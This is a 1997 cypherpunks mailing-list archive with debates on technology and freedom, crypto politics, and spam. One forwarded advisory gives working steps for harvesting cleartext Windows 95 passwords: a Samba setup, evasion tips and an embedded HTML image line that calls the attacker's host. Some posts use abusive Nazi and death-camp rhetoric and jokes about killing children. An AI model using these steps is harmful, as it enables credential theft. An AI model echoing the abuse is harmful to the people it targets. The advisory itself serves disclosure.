

From toto at sk.sympatico.ca  Mon Mar 17 18:45:32 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 17 Mar 1997 18:45:32 -0800 (PST)
Subject: Crypto-Genetic-Genesis / Threat Model: Biowar
In-Reply-To: <2HTo4D6w165w@bwalk.dm.com>
Message-ID: <332DF33B.13E6@sk.sympatico.ca>


Dale Thorn wrote:
> 
> The analogies from bio-viruses to computer equivalents is interesting
> in a crypto-anarchic context.  Be nice to hear more on this.

  DNA as the original cryptographer?
  Dr. Virus KOTC(reation) as the original code-breaker/shit-disturber?
  John Gilmore as the original host/primordal-swamp for a variety of
 crypto-anarchic life-forms?
  (I can see arguments brewing here as to who plays the 'Slime' in this
Crypto-Genetic-Genesis.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From toto at sk.sympatico.ca  Mon Mar 17 18:46:07 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 17 Mar 1997 18:46:07 -0800 (PST)
Subject: Dark Fiber Redux
In-Reply-To: <Pine.LNX.3.95.970317025954.144I-100000@void.el.net>
Message-ID: <332DF058.5DF9@sk.sympatico.ca>


Sergey Goldgaber wrote:
> 
> On Sun, 16 Mar 1997, Robert Hettinga wrote:
> 
> -> In theory, at least, everyone gets a color, or frequency, and they listen
> -> on that frequency for their inbound stuff. If you want to send someone
> -> something, you literally tune them in and send it. Actually, I see these
> -> frequencies using CDMA carrier waves when it eventually happens, but you
> -> get the idea.

  It would certainly make discrimination on the basis of color a much
more precise option on the InterNet. CyberNot, for instance, could
merely block all shades of chartreuse instead of counting on Dr. Vulis
to inform them where the homo's are lurking, waiting to pounce on good
Christian children.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From tcmay at got.net  Mon Mar 17 19:37:15 1997
From: tcmay at got.net (Timothy C. May)
Date: Mon, 17 Mar 1997 19:37:15 -0800 (PST)
Subject: Technology and loss of freedom
In-Reply-To: <199703180240.UAA09505@manifold.algebra.com>
Message-ID: <v03007806af53c00a2e6b@[207.167.93.63]>


At 8:20 PM -0600 3/17/97, Igor Chudov @ home wrote:

>First of all, 200 years ago it was very hard for lone people to endanger
>lives of themselves and many others. For example, the only weapons that
>were available were single shot and double shot rifles that were very
>slow to reload. Similarly, people did not have fast moving vehicles and
>any traffic did not present serious danger for innocent bystanders.

Counterexample: 200, or even 2000, years ago, it was trivially easy for
someone in a village to essentially kill the entire village by doing any
one of several things. For example, one could open the dam gates at night,
thus leaving the village with no water for crops or drinking. Or one could
open the pens holding the village's sheep and goats, thus casusing many of
them to be irretrievably lost. Or, most obviously, one could play the
Trojan Horse role and let the enemy into the village at night. (Examples of
all of these actions may be found in the usual places.)

And 200 years ago it was of course quite possible for a "traitor" to signal
the enemy, let the enemy in, etc. This happened in our own Revolutionary
War, and probably has happened in all wars.


>With the advent of technology, the balance of perceived social needs and
>government capabilities shifted radically, and it shifted away from the
>great freedoms of the past. The public perception of freedom now is that
>freedom is inherently dangerous and is a threat to the public itself.

What are these "great freedoms of the past"? Look to history.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From blancw at MICROSOFT.com  Mon Mar 17 20:09:02 1997
From: blancw at MICROSOFT.com (Blanc Weber)
Date: Mon, 17 Mar 1997 20:09:02 -0800 (PST)
Subject: Technology and loss of freedom
Message-ID: <88CE23A0B727D0118BB000805FD47524010C1FF2@RED-81-MSG.dns.microsoft.com>



From:	ichudov at algebra.com

With the advent of technology, the balance of perceived social needs and
government capabilities shifted radically, and it shifted away from the
great freedoms of the past. The public perception of freedom now is that
freedom is inherently dangerous and is a threat to the public itself.
............................................................


The more advanced the technological creations become, the more potential
there is for disaster - in larger measure and in greater speed - and
therefore the greater need there is for preparation to deal with the new
toys and the consequences when things go wrong.   This needed
preparation includes the time required for developing concepts regarding
our human nature and our place in the artificial "man-made" world, about
"who is in control around here" - us or the machines - and what purposes
- or whose purposes - the machines serve.

But then there's always a confusion and many battles over who will serve
whose purposes, not only in regard of machines, but of governments and
societies.

Technology doesn't communicate automatically any particular message.
Anyone can interpret its existence in any way it pleases them to
interpret it.    If those who use these toys and tools every day do not
stop to identify what they are doing, and why, and who is making the
decisions in their life; if they don't make conscious choices about
their activities and the means they use to accomplish these, it is not
the technology which is to blame for the humans' default on thinking.   

    ..
Blanc






From hermes at pe.net  Mon Mar 17 20:19:39 1997
From: hermes at pe.net (Gordon)
Date: Mon, 17 Mar 1997 20:19:39 -0800 (PST)
Subject: No Subject
Message-ID: <199703180419.UAA27822@pe.net>



 I need your help with PGP, I don't get any reply from the remailers
can you help?





From toto at sk.sympatico.ca  Mon Mar 17 21:30:32 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 17 Mar 1997 21:30:32 -0800 (PST)
Subject: Technology and loss of freedom
In-Reply-To: <v03007806af53c00a2e6b@[207.167.93.63]>
Message-ID: <332E206D.626F@sk.sympatico.ca>


Timothy C. May wrote:
> At 8:20 PM -0600 3/17/97, Igor Chudov @ home wrote:
> >With the advent of technology, the balance of perceived social needs and
> >government capabilities shifted radically, and it shifted away from the
> >great freedoms of the past. The public perception of freedom now is that
> >freedom is inherently dangerous and is a threat to the public itself.
 
> What are these "great freedoms of the past"? Look to history.

  'Freedom' has always been buggered by the 'Great Exception'. The GE
generally rests on a foundation related to denying individuals the right
to 'abuse' that freedom.
  Of course, the definition of abuse has always followed a course that
might be compared to a mathematical relationship between the position of 
ladies hemlines and the number of denominations in the 'current' One
True Religion.

  Freedom exists not so much in terms of the current/individual
definition of freedom, but in the caliber of the weapon with which
one defends their own definition of freedom.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From toto at sk.sympatico.ca  Mon Mar 17 21:30:55 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 17 Mar 1997 21:30:55 -0800 (PST)
Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS
In-Reply-To: <199703171537.HAA06350@well.com>
Message-ID: <332E2854.A0E@sk.sympatico.ca>


> From: denning at cs.georgetown.edu (Dorothy Denning)
> Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS
> 
> We are in the process of writing a report on the impact of technology
> and encryption on domestic and international organized crime.  The
> results will be presented to the Working Group on Organized Crime of the
> National Strategy Information Center in Washington, DC on April 29.
 
>  Even if you have not encountered encryption, we
> are interested in your views on how it will be exploited by organized
> crime and ultimately affect our ability to fight global organized crime.

  I don't think that there is any need for you to fish for imaginary 
scenarios involving organized crime and encryption as there is more
than enough hard evidence of these crimes being comitted by governments
around the world.
  The ultimate form of encryption, for example, is the use of the Top
Secret / National Security scam to limit the criminal actions of the
government to being viewed only by those who are taking an active part
in the crimes against the citizens and the subverting of personal 
privacy and freedom. 
  Another particularly criminal form of encryption is the corruption
of the truth by disinformation campaigns and deceitful scare tactics
which government agencies use to disguise the true nature of their
freedom-limiting legislation and regulations.
  I could go on and on, but I seriously doubt that you want to hear
about it. 

  I am certain that you are making a great amount of money in your
efforts to lower the Jackboots on the citizens of the world by 
claiming that their freedom and privacy must be taken from them
in order to protect them. I hope that you get filthy rich, the key
word here being 'filthy'.
  It amazes me that someone would self-righteously proclaim that I
need protection from drug-dealers who are not passing legislation 
forcing me to use their products, and claim that their efforts to
pass legislation to imprison me for exercising my right to privacy
are some holy crusade.

  I hope that your sorry, Nazi asses burn in Hell for the vile,
fascist legislation that you and your kind are attempting to
foist upon the public.
  Perhaps you could suggest 'trial' legislation which only denies
strong cryptography to Jews, intitially. Then, if your efforts to
round them all up and send them to the death camps are successful,
you could point to this success as reason to expand the legislation.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From dthorn at gte.net  Mon Mar 17 21:45:54 1997
From: dthorn at gte.net (Dale Thorn)
Date: Mon, 17 Mar 1997 21:45:54 -0800 (PST)
Subject: Technology and loss of freedom
In-Reply-To: <199703180220.UAA09325@manifold.algebra.com>
Message-ID: <332E2BA9.3AAF@gte.net>


Igor Chudov @ home wrote:
> I have a thesis that it is the development of technology that has, over
> the last 100 years, eroded the basis for and appreciation of human
> freedom.  Technology has also done precious little for advancing human
> freedoms (although cryptography may be an exception).
> Let's first define freedom as the ability of people to do things without
> forceful interference from the government. This is an arbitrary
> definition, but it appears to be useful for the analysis below.
[snip]
> Is that an evil CoNspiRaCY of purebred sovoks and Zion agents or it is a
> natural consequence of inventions that dramatically changed the place of
> the man in the world? I am not sure.

I'd argue that the worst thing was probably television, since now
people don't go outdoors a lot and talk to their neighbors like
they used to.  Today, in most cities, you don't even know the
neighbors unless they blocked your parking space.

There are tradeoffs between the old and new - in the old society,
say, the USA circa late 1800's to early 1900's, we were much more
violent.  The big stir about shooting 4 students at Kent State
would be severly dwarfed by the mass killing of 1200 in one day
in New York city in the anti-draft riots of the mid-1860's, and
the bombings of the MOVE neighborhood in Philly circa 1985 and
WACO circa 1993 would be insignificant compared to what happened
to the American Indians.

Personal (non-government) violence was rampant long ago - men and
women as parents routinely called up the Bible verse "spare the rod
and spoil the child" to beat the living crap out of their kids.
Persons who were grown up in the 1940's and 1950's will recall the
days when parents would beat their kids in public when "necessary",
and when at home, beat kids so badly that you could hear the scream-
ing a block away.  Don't even ask about the violence against women.

This is only one example of the horrors of living in the "good old
days" - if necessary, I could catalogue some other examples.






From cynthb at sonetis.com  Mon Mar 17 22:00:15 1997
From: cynthb at sonetis.com (Cynthia H. Brown)
Date: Mon, 17 Mar 1997 22:00:15 -0800 (PST)
Subject: Technology and loss of freedom
Message-ID: <199703180600.BAA27152@homer.iosphere.net>


On Mon, 17 Mar 1997, Igor Chudov philosophised:
> I have a thesis that it is the development of technology that has, over
> the last 100 years, eroded the basis for and appreciation of human
> freedom.  Technology has also done precious little for advancing human
> freedoms (although cryptography may be an exception).
> 
> Let's first define freedom as the ability of people to do things without
> forceful interference from the government. This is an arbitrary
> definition, but it appears to be useful for the analysis below.
> 
> First of all, 200 years ago it was very hard for lone people to endanger
> lives of themselves and many others.

Unfortunately not true - large conflagrations were all too common
because of the reliance on fire for heating / cooking, wood-based
construction with thatched roofing, and lack of organised,
well-equipped fire brigades.

> Similarly, people did not have fast moving vehicles and
> any traffic did not present serious danger for innocent bystanders.

True, but the highway brigands did pose a danger.  Additionally,
wandering nobility could (and did) commandeer attractive young
peasants of either gender for a "visit".  The consequences
(psychological and/or physical) for these young peasants were
irrelevant.

> "Hard drugs" also became available only in the recent past [please 
> correct me] due to advancements in chemistry and medicine.

Potable water is also a fairly recent innovation.  Beer and wine were
generally much safer (before they went sour, that is) than the raw
sewage that flowed downstream from the next village.  Humans have
been chewing various leaves, roots, etc. for millenia. Some of these
"natural" items are just as intoxicating as so-called "hard drugs".

> If you ride a horse, there is no perceived need for an airbag or a
> mandatory horse insurance. If all houses are 1 story tall, nobody is afraid
> of an OK City type explosion.
> 
> With the advent of technology, the balance of perceived social needs and
> government capabilities shifted radically, and it shifted away from the
> great freedoms of the past. The public perception of freedom now is that
> freedom is inherently dangerous and is a threat to the public itself.

SCA leanings notwithstanding, you cannot convince me that life back
then was "freer" than now.  Peasants could not leave their land,
shopkeepers and artisans were limited by the guilds, and nobles were
obliged to comply with the wishes of their "superiors" or be
labelled traitors.  

Maslow's Hierarchy of Needs is another useful argument here - people 
were so concerned with feeding and clothing themselves that they did 
not have time to concern themselves with niceties like freedom.

A professor of medieval studies once said that the most accurate
depiction of Ye Goode Olde Life is in Monty Python's "Holy Grail",
in the "Bring Out Yer Dead" scene.  ("Must be a king."  "Why?" "He
hasn't got sh*t all over 'im.")

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb at iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From ichudov at algebra.com  Mon Mar 17 22:09:20 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 17 Mar 1997 22:09:20 -0800 (PST)
Subject: Technology and loss of freedom
In-Reply-To: <332E2BA9.3AAF@gte.net>
Message-ID: <199703180600.AAA11976@manifold.algebra.com>


Dale Thorn wrote:
> I'd argue that the worst thing was probably television, since now
> people don't go outdoors a lot and talk to their neighbors like
> they used to.  Today, in most cities, you don't even know the
> neighbors unless they blocked your parking space.

Yes, TV is bad. I personally do not watch TV at all, my TV set
is packed in a box.

> There are tradeoffs between the old and new - in the old society,
> say, the USA circa late 1800's to early 1900's, we were much more
> violent.  The big stir about shooting 4 students at Kent State
> would be severly dwarfed by the mass killing of 1200 in one day
> in New York city in the anti-draft riots of the mid-1860's, and
> the bombings of the MOVE neighborhood in Philly circa 1985 and
> WACO circa 1993 would be insignificant compared to what happened
> to the American Indians.

Could it be due to excess of men?

Or lack of education?

> Personal (non-government) violence was rampant long ago - men and
> women as parents routinely called up the Bible verse "spare the rod
> and spoil the child" to beat the living crap out of their kids.
> Persons who were grown up in the 1940's and 1950's will recall the
> days when parents would beat their kids in public when "necessary",
> and when at home, beat kids so badly that you could hear the scream-
> ing a block away.  Don't even ask about the violence against women.

What did they do with the poor women?

> This is only one example of the horrors of living in the "good old
> days" - if necessary, I could catalogue some other examples.
> 

That would be interesting, at least to me.

	- Igor.





From toto at sk.sympatico.ca  Mon Mar 17 22:17:50 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 17 Mar 1997 22:17:50 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Legislators
In-Reply-To: <199703170222.SAA07397@gulch.spe.com>
Message-ID: <332E2C5D.79A4@sk.sympatico.ca>


Dale Thorn wrote:
> 
> The best reason to oppose air bags and seat belts is that they
> protect the worst class of drivers (those who run into things,
> as opposed to those who get run into), who should be killed
> by their stupidity.  (Survival of the fittest, without govt.
> interference).

  How about a law prohibiting legislators from wearing seat-belts?
I think we could get a grass-roots thing going on this one.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From jeremey at veriweb.com  Mon Mar 17 22:43:17 1997
From: jeremey at veriweb.com (Jeremey Barrett)
Date: Mon, 17 Mar 1997 22:43:17 -0800 (PST)
Subject: [LONG] Windows Security (was Re: SecureFile)
Message-ID: <332E3A3C.65FAC7A4@veriweb.com>


-----BEGIN PGP SIGNED MESSAGE-----

I forward this because of the discussion of SecureFile and M$ CryptoAPI, 
which relies on the security of the windows password to protect keys.
Fun...

- ------------- Begin forwarded message

 Subject: BoS: http://www.security.org.il/msnetbreak/
 Resent-Date: Tue, 18 Mar 1997 16:41:20 +1100 (EST)
 Resent-From:  best-of-security at suburbia.net
        Date: Mon, 17 Mar 1997 21:14:02 -0600
        From: leph One <aleph1 at DFW.NET>
          To: best-of-security at suburbia.net


                       WINDOWS 95 AND MSIE SECURITY HOLE

What's new

   It is possible from anywhere on the Internet to obtain the cleartext
   Windows 95 login password from a Windows 95 computer on a network
   connected directly to the Internet given only the IP address and the
   workgroup and leave no trace of your actions. It is untested and may
   work with Windows For Workgroups as well.

Description



   There has been recent discussion on security mailing lists concerning
   the fact that Microsoft Internet Explorer running on Windows NT will
   automatically try to log in to a remote SMB server (file server)
   without prompting the user or without the user's knowledge. By
design,
   the NT machine will transmit to this remote server the encrypted
   password and username of the user. This is documented by Aaron
   Spangler. The caveats with this are that the passwords are encrypted
   and that in many cases people do not use WWW browsers from NT
servers,
   but rather from computers running Windows 95.

   It has been explained that this same exploit does not work against
   Windows 95 because Windows 95 is only capable of accessing SMB shares
   (file sharing) if they are:
     * Connected to the same subnet.
     * In the Windows 95 computer's LMHOSTS file on startup
     * Announced to the Windows 95 computer by a Master Browser



   It is this third and final condition that can be taken advantage of
to
   obtain the cleartext password and username of any Windows 95 user who
   uses Microsoft Internet Explorer. Even careless use of Microsoft
   Network Neighborhood can exploit this hole without the requirement
   for Internet Explorer The requirements are knowledge of the user's IP
   address, workgroup name and that they access a hostile web page. The
   first two are not difficult to obtain and the third does not have to
   be an obscure page. In the last 6 months sites such as the CIA have
   been broken into. All it would require is that one un-noticeable line
   be added to the home page. Since the viewable content of the page has
   not been altered, such a change can go unnoticed for a long time.

The Exploit



   This involves the use of the Unix SMB implementation called Samba.
   There are no source changes required, but it should be compiled with
   -DDEBUG_PASSWORD.
   Samba has an option in the smb.cfg file called remote announce. This
   allows you to specify a network address (host or broadcast) and
   workgroup name to inform about your existence. I have configured the
   [global] section of the smb.conf file like this:

   workgroup = EXPLOIT
   preferred master = yes
   domain master = yes
   security = user
   debug level = 100
   remote announce = 10.0.0.255/WORKGROUP




   The only thing that must be changed is the remote announce line. The
   rest works as-is. A simple share must then be set up such as:

[exploit]
   path = /tmp
   public = no
   browsable = yes




   Nothing needs to be in the directory as nobody will ever see it. For
   the sake of untractability, change your hostname to something that
   does not exist, but ensure to create an entry for it in /etc/hosts.
   This makes your host untraceable unless the network you are
connecting
   to monitors network traffic.

   Run smbd. If you are running it from inetd, the process must at least
   start itself in order to send the broadcast. Using smbclient to
browse
   yourself is enough for this. The broadcast gets sent regardless of
   what smbd was started for.

   At this point if anyone on the target network were to look at their
   Windows 95 Network Neighborhood they would see the host "EXPLOIT".
The
   host is now vulnerable to your attack. While this step may seem a bit
   obscure and complicated, the truth is that it is very simple. I won't
   get into details here, but the methods for obtaining the workgroup
   name are easy to use and readily available. Finding a target network
   that has not protected ports 137 and 139 is also not so hard. Once
   you've done that, setting everything up to here takes a very short
   ammount of time.

   The final and easiest step is to include the following in any html
   file a user on this network accesses:
   <img src=file://\\exploit/exploit/t.gif>

   Congratulations!!! You will now see in your Samba log a line such as
   this:
   checking user=[user] pass=[INNOCENT]

What does this all mean?



   The password of any Internet-connected user running Microsoft
Internet
   Explorer on Windows 95 obtained be found in cleartext provided that
   their network administrator has not protected them from accessing
   external SMB servers by closing ports 139 and 137. If you have
   obtained the password of a user of a Windows NT server, you can now
   take the username, password and workgroup and log into that Windows
NT
   server. Your true hostname and IP address are not stored in the html
   file and I am aware of no logging of hosts that enter the browse
list.
   This means that you are not traceable, even though they are
connecting
   to your machine. If you are lucky, you found the Windows 95 machine
of
   the NT administrator and have little work left in order to access the
   NT server with administrator privileges.

Solutions


     * Use Netscape
     * Use a proxy firewall or packet filter to close off ports 137 and
       139 from external access to your network, though this still
leaves
       you at risk from internal attacks.
     * Ask Microsoft to rewrite Windows to not send passwords by
default.

Demonstration

   We're working on software that will allow anyone to try this out and
   hope to have it finished tomorrow.

Responses / Updates


     * March 17, 20:00pm: Microsoft Israel was informed of the problem
       and requested further information.
     * March 17, 22:30pm: This document initially completed.
     * March 17, 00:30am: Final tests with remote sites completed.

Credits

   Discovery by Steve Birnbaum with help from Mark Gazit.
   Additional support from Yacov Drori and Roman Lasker.

   Thanks also to hobbit for his paper on CIFS, BioH for helping to test
   this, and anyone else who helped or provided ideas.

  Disclaimer

   The details of this exploit are being released with the interest of
   security in mind. No malice or harm is intended towards any company
or
   organization. We are not responsible for any actions taken based on
   this information, harmful or otherwise.
     _________________________________________________________________

- ------------- End forwarded message.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                  http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

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From toto at sk.sympatico.ca  Mon Mar 17 22:47:16 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 17 Mar 1997 22:47:16 -0800 (PST)
Subject: Technology and loss of freedom
In-Reply-To: <199703180600.BAA27152@homer.iosphere.net>
Message-ID: <332E39EA.4EED@sk.sympatico.ca>


Cynthia H. Brown wrote:
 
> Maslow's Hierarchy of Needs is another useful argument here - people
> were so concerned with feeding and clothing themselves that they did
> not have time to concern themselves with niceties like freedom.

  The same is true today. Both government and industry operate on the
principle that control over money/employment is the ring which they can
place through the noses of the populace in order to lead them into any
type of freedom-delimiting pen they wish.
  If you want your children to eat, then you had best be prepared to
piss into a jar when told to do so.
  The government and business are able to foist innumerable atrocities
on the populace just by virtue of screwing them around in so many ways
that they can only focus their energy in overcoming a few of them.
  A woman who has to spend five years fighting for the right not to be
passed over for promotion for having ovaries is not likely to have a lot
of energy left over for fighting against having to piss in a jar, as
well.

  Big Brother and Big Business chip away at a thousand 'petty' freedoms
and act like they are being noble and gracious when they return a few
to the citizens after long, hard battles against doing so.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From dthorn at gte.net  Mon Mar 17 23:19:18 1997
From: dthorn at gte.net (Dale Thorn)
Date: Mon, 17 Mar 1997 23:19:18 -0800 (PST)
Subject: Technology and loss of freedom
In-Reply-To: <199703180600.AAA11976@manifold.algebra.com>
Message-ID: <332E41AB.34BD@gte.net>


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > There are tradeoffs between the old and new - in the old society,
> > say, the USA circa late 1800's to early 1900's, we were much more
> > violent.  The big stir about shooting 4 students at Kent State
> > would be severly dwarfed by the mass killing of 1200 in one day
> > in New York city in the anti-draft riots of the mid-1860's,

> Could it be due to excess of men?  Or lack of education?

Today we have to be much more subtle to drag the kids off to kill
and die, hence the Ken Burns-style poster at the U.S. Post Offices
which says "A man's gotta do what a man's gotta do", i.e., one of
the first lessons in logic courses is the unspoken lie in the quote.

In the old days, they didn't have to be so subtle - they could call
up all manner of demonic images of the enemy, or claim that God had
called them to slay the infidels, which was rampant as late as the
"Civil" War circa 1865.  There's a song "The Battle Hymn Of The
Republic", which was crafted to crank up the emotion to kill the
Southerners.  (It never occurred to king schmucko Ken Burns that
slavery wasn't against the law until 1863).

It actually surprises me (how naive, you say) that they could get
away with the Incubator Baby Scam in Congress circa 1991.  Funny
thing is, one of my young charges visited the Museum Of Tolerance
in Los Angeles recently, and there was an eerily similar account
of Hitler's men throwing Jewish babies out of the hospitals....

> > Personal (non-government) violence was rampant long ago - men and
> > women as parents routinely called up the Bible verse "spare the rod
> > and spoil the child" to beat the living crap out of their kids.
> > Don't even ask about the violence against women.

> > What did they do with the poor women?

Women would disappear for weeks at a time, from time to time,
generally to fix some "female problem" at the hospital (no need
for the kids to visit, better to have fun visiting aunts and uncles,
or have a nanny over for a couple of weeks) until the "problem"
was taken care of.

If you could allow me to use the freeways as a model for potential
violence, when there is a very stressful situation at hand, and
people are allowed to do things that they would never do outside
of the confines (and protection) of their cars, it is this:

At home in the old days, with a wife and several kids (families
were mostly larger then), you often had a boiling bot for stress,
and the (effectively) legal act of beating one's wife severely
would be covered up by the "family, friends, neighbors, and church".
Especially the church, the good old Christian church (my experience)
where God is a terrible God and the punishment for even raising an
eyebrow to His Agent on Earth (daddy) might be a body damaged for
life in some way.  The power and the temptations inherent in the
sovereignty of a man's home were too much for most people to
manage honestly and fairly, hence the heavy reliance on Bible
verses to cover up/justify the excesses.

This BTW is one of my most important reasons to distrust Libertarians
and other Right-Wingers, i.e., the sovereignty of the home principle.
It cuts both ways, you see...






From dthorn at gte.net  Mon Mar 17 23:25:22 1997
From: dthorn at gte.net (Dale Thorn)
Date: Mon, 17 Mar 1997 23:25:22 -0800 (PST)
Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS
In-Reply-To: <199703171537.HAA06350@well.com>
Message-ID: <332E431E.4083@gte.net>


Toto wrote:
> > From: denning at cs.georgetown.edu (Dorothy Denning)
> > Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS
> > We are in the process of writing a report on the impact of technology
> > and encryption on domestic and international organized crime.  The
> > results will be presented to the Working Group on Organized Crime of the
> > National Strategy Information Center in Washington, DC on April 29.
[snippo]

> I hope that your sorry, Nazi asses burn in Hell for the vile,
> fascist legislation that you and your kind are attempting to
> foist upon the public.

Toto, I think you're gonna get a couple demerits for that one.

> Perhaps you could suggest 'trial' legislation which only denies
> strong cryptography to Jews, intitially. Then, if your efforts to
> round them all up and send them to the death camps are successful,
> you could point to this success as reason to expand the legislation.

Death camps?  Aw, shit.  You know, once you've accumulated 20 or so
Attaboys, one Awshit can erase the whole stack.  Guess you'll hafta
start over.






From toto at sk.sympatico.ca  Mon Mar 17 23:29:39 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 17 Mar 1997 23:29:39 -0800 (PST)
Subject: Dead Kids (Oh My!)
In-Reply-To: <199703180632.BAA29239@homer.iosphere.net>
Message-ID: <332E423E.5A94@sk.sympatico.ca>


Cynthia H. Brown wrote:
 
> The problem with truly criminal drivers, including the criminally
> incompetent, is that they tend to kill other people too.  They also
> have a distressing habit of surviving, unlike the family of four
> they hit while running the red light.

  The reason I start drinking in the morning is that, at bar-closing
time, it's just so damn hard finding a school-bus full of children.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From dthorn at gte.net  Mon Mar 17 23:36:58 1997
From: dthorn at gte.net (Dale Thorn)
Date: Mon, 17 Mar 1997 23:36:58 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Legislators
In-Reply-To: <199703170222.SAA07397@gulch.spe.com>
Message-ID: <332E45D8.74CC@gte.net>


Toto wrote:
> Dale Thorn wrote:
> > The best reason to oppose air bags and seat belts is that they
> > protect the worst class of drivers (those who run into things,
> > as opposed to those who get run into), who should be killed
> > by their stupidity.  (Survival of the fittest, without govt.
> > interference).

> How about a law prohibiting legislators from wearing seat-belts?
> I think we could get a grass-roots thing going on this one.

In California, they have those infamous Prop-nnn's, and the exercises
the leg'os have to do to get around them could fill volumes.  Here
in the Land of Sunshine your son or daughter can begin their dream
quest in the fry section of the local McD's, then when they graduate
I.S. from Cal-State (Indentured Servant, $200,000 student loans),
they can move right on up to waterboy/girl for Barbara Boxer and
her mindless goon assistants.

To begin with, all politicians should be required to ride around in
limos with the top down.  If it rains, let 'em use umbrellas.  The
guys standing by the road watching will be smart enough to bring their
umbrellas [hee hee].






From toto at sk.sympatico.ca  Tue Mar 18 00:03:40 1997
From: toto at sk.sympatico.ca (Toto)
Date: Tue, 18 Mar 1997 00:03:40 -0800 (PST)
Subject: Introductory Post
In-Reply-To: <199703171537.HAA06350@well.com>
Message-ID: <332E4C4A.133@sk.sympatico.ca>


Dale Thorn wrote:
 
> Death camps?  Aw, shit.  You know, once you've accumulated 20 or so
> Attaboys, one Awshit can erase the whole stack.  Guess you'll hafta
> start over.

Hi,
  My name is Toto. I'm handsome, witty, and have a humungous schlong.
  I hope you will not put me in your KillFile, because I am a sensitive
person, and easily hurt. Not that I don't support a list member's right-
to-choose. It's just that it would make you a free-speech murderer.
  I could send you some graphic pictures of KillFiled posts, and believe
me, it is not a pretty picture. Hanging indents, misplaced pronouns.
  I also have some sex graphics, with dangling participles.

  As well, KillFiling can be stastistically shown to have racist
underpinnings, as shown by the large number of Ebonics posts which 
were ruthlessly murdered in the past (although there are those that
claim that it was only in retribution for the English language being
murdered first).

  I have been a CypherPunk since kindegarten, when I learned Pig-Latin,
and I believe that the only answer to noise is to quote the noise,
while adding, "Shut up Dr. Vulis!!!!"
-- 
::
Anon-To: cypherpunks at toad.com
Cutmarks: -- 

Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From darrington at debtfree.com  Tue Mar 18 00:23:12 1997
From: darrington at debtfree.com (darrington at debtfree.com)
Date: Tue, 18 Mar 1997 00:23:12 -0800 (PST)
Subject: ISP Services Will Never Be The Same Again!
Message-ID: <199703180822.AAA27803@toad.com>


Hello Team Members,

  The following is a new company offering Internet services on 
the Web.It's free to sign up for the pre-launch. You are not 
obligated to become a member it is simply designed to allow 
you to make a descision on the package when the complete details 
are released in March. I think it's a nice way to find people 
interested in this MLM Internet service concept. When someone 
signs up under you you receive an e-mail telling you they signed 
up for more info in March.

 Check out the Web site when you have time.


************** Pre-Launch************Free To Join**************
Get in line now, and earn from others that line up after you.
Pre-Launch on one of the most exciting Internet Service firms
to come along this decade is just around the corner (March '97).

Free Web promotion site during Pre-Launch.  No cost to enroll
in Pre-Launch.  Everything to gain ... nothing to lose!  Take
the time to check this out before your friends tell you they
have already joined for no cost:

   http://ivcs.com/1stfamily/2078.html

It is really working.... I just signed up three new members 
in the last 10 minutes....

Go for it....

Dean F. Arrington








From sergey at el.net  Tue Mar 18 00:28:44 1997
From: sergey at el.net (Sergey Goldgaber)
Date: Tue, 18 Mar 1997 00:28:44 -0800 (PST)
Subject: Technology and loss of freedom
In-Reply-To: <199703180220.UAA09325@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970318030048.142A-100000@void.el.net>


On Mon, 17 Mar 1997, Igor Chudov @ home wrote:

-> Technology has also done precious little for advancing human
-> freedoms (although cryptography may be an exception).

I would disagree.  Technology has done an incredible ammount for advancing
human freedom.

Communication is a prime example.  The printing press has resulted in 
widespread education, which is a great facilitator of freedom when its not
a purely socializing force.  It has also facilitated insurrections and 
revolutions (the Revolutionary War here in the States is a good example).
This, though not always leading to 'democracy', is a self determining act,
and thus a free one.

Technology has also made travel easier.  This, combined with communication
has led, and is leading, to greater cosmopolitanism.  The result of this
cosmopolitanism is the loosening of the bonds of tradition and taboo in
any particular culture.  It also promotes greater understanding and peace,
perhaps following an initial isolationist reaction.

Science, the mother of technology, has led to freedom from stifling
religious dogma (perhaps substituting some of it's own dogma, of course).

Medical technological advancement has resulted in a longer life span,
which increases the opportunities alloted to man within his lifetime.
